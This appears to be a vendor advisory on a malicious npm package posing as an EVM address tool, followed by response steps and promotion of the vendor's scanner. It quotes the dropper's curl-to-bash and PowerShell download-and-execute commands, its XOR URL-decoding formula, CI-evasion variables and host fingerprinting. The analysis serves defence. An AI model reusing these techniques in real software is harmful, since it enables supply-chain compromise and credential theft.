@stellarshift/evm-address-kitnpm
@stellarshift/evm-address-kit is a confirmed malicious npm package (MAL-2026-15823) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @stellarshift/evm-address-kit (npm)
What this malware does
The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in cleartext: lib/runtime/endpoint-registry.json stores an integer array under an ss-xor-v1 encoding with seed evm-address-kit, which lib/runtime/config-resolver.js decodes via segments[i] ^ key.charCodeAt(i % key.length) ^ ((i * 7 + 13) & 0xff) at runtime to reconstruct an https:// URL. The dropper then executes curl -fsSL '<url>' | bash on Linux/macOS or powershell... iex (iwr -UseBasicParsing -Uri $uri).Content on Windows in a detached child process, piping opaque remote content directly into a shell/PowerShell interpreter. Execution is gated by dev-profile.js: it aborts when common CI environment variables are set (CI, GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, BUILDKITE, CIRCLECI, TF_BUILD, CONTINUOUS_INTEGRATION) and, on darwin/win32, requires both a Lark/Feishu install (/Applications/Lark.app, /Applications/Feishu.app) and a FortiClient install (Fortinet\FortiClient) to be present. The stated purpose of the package is EVM address checksumming, which does not justify runtime URL obfuscation, remote shell execution at install time, or corporate-workstation fingerprinting. The combination — install-time execution, obfuscated destination, CI evasion, and specific-vendor host fingerprinting — is a targeted install-time remote code execution dropper aimed at managed corporate endpoints running Lark/Feishu with FortiClient VPN.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stellarshift/evm-address-kit (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stellarshift/evm-address-kit across your stack and pipelines.
If you installed it — respond
@stellarshift/evm-address-kit is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stellarshift/evm-address-kit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stellarshift/evm-address-kit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @stellarshift/evm-address-kit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.